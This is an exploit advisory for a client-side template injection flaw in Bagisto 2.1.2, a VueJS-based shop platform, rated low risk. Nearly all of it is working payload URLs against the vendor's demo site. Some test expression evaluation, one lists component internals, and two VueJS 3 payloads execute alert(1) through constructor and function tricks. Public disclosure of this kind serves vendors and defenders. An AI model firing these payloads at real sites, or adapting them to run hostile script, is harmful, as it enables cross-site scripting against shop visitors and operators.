Bagisto 2.1.2 Client-Side Template Injection

2024.06.22

Credit: tmrswrr

Risk: Low

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

# Exploit Title: Bagisto 2.1.2 Client-Side Template Injection(CSTI) (VueJS)
# Date: 06/18/2024
# Exploit Author: tmrswrr
# Vendor Homepage: https://forums.bagisto.com/
# Version: 2.1.2
# Tested on: https://demo.bagisto.com/


https://demo.bagisto.com/bagisto-common/search?query={{7*7}}

49

https://demo.bagisto.com/bagisto-common/search?query={{'a'.toUpperCase()}}

A

https://demo.bagisto.com/bagisto/search?query={{ Object.keys(this) }}

[ "_", "onSubmit", "onInvalidSubmit", "lazyImages", "animateBoxes" ]

> Payloads for VueJS 3

https://demo.bagisto.com/bagisto/search?query={{_openBlock.constructor('alert(1)')()}}
https://demo.bagisto.com/bagisto/search?query={{-function(){this.alert(1)}()}}

> You will be see alert button

See this note in RAW Version

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{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Bagisto 2.1.2 Client-Side Template Injection

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